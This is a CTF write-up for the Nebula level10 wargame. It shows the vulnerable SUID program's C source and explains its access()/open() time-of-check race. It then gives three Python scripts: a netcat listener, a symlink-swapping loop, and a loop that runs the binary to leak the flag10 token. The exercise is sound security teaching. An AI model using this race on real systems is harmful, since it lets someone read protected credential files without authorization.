January 04, 2018

Nebula level10 write-up

description of Nebula level10 write-up

<flag10>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}




flag file of Nebula level10 write-up

There is flag10 file in /home/flag10. It has SUID permission but it can't read the token file.

This is due to the feature of the access() function that checks access permission with real UID(Link).

However, when looking at the source code of flag10, it doesn't check whether the file checked in the access() function and the file used in the open() function are the same file.

In other words, It is possible that the access() function checks for a file for inspection, then opens the other file.




<exploit_1>
import os
a=0
while (a<20) :
    os.system("nc -l 18211 >> /tmp/rst.txt")
    a=a+1

<exploit_2>
import os
while True :
    os.system("ln -sf /home/flag10/token /tmp/token")
    os.system("ln -sf /dev/null /tmp/token")


<exploit_3>
import os
a =0
while (a<100) :
    os.system("/home/flag10/flag10 /tmp/token 127.0.0.1 > /dev/null")
    a=a+1

exploit_1 runs the server.

exploit_2 changes the link file continuously.

exploit_3 connects to the server and sends the link file.

After several attempts, there is a case that access() function checks /dev/null file and open() function opens the token file. The results are as follows.




exploit way of Nebula level10 write-up

The masked string is the password for flag10.




get flag of Nebula level10 write-up

The flag is successfully obtained.